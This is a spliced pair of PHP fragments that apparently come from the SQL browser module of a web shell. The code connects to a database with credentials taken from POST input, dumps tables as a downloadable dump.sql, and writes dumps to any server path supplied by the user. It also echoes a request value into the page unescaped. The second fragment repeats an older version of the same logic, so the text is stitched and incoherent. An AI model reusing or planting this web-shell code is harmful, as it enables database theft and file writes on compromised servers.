case "KOI8-R": $db->setCharset('koi8r'); break; case "KOI8-U": $db->setCharset('koi8u'); break; case "cp866": $db->setCharset('cp866'); break; } if (empty($_POST['file'])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=dump.sql"); header("Content-Type: text/plain"); foreach ($_POST['tbl'] as $v) { $db->dump($v); } exit; } elseif ($fp = @fopen($_POST['file'], 'w')) { foreach ($_POST['tbl'] as $v) { $db->dump($v, $fp); } fclose($fp); unset($_POST['p2']); } else { die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>'); } } hardHeader(); echo "\n<h1>Sql browser</h1><div class=content>\n<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\n<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\n<td><label><select name='type'><option value='mysql' "; if (@$_POST['type'] == 'mysql') {
echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; } break; } return false; } }; $db = new DbClass('mysql'); if(@$_POST['p2']=='download') { $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass']); $db->selectdb($_POST['sql_base']); header("Content-Disposition: attachment; filename=dump.sql"); header("Content-Type: text/plain"); foreach($_POST['tbl'] as $v) //if(preg_match('!table_(.*)!', $k, $table)) $db->dump($v); exit; } ?> <h1>Sql browser</h1><div class=content> <form name="sf" method="post"> <table cellpadding="2" cellspacing="0"> <tr> <td>Host</td> <td>Login</td> <td>Password</td> <td>Database</td> <td></td> </tr> <tr> <input type=hidden name=a value=Sql>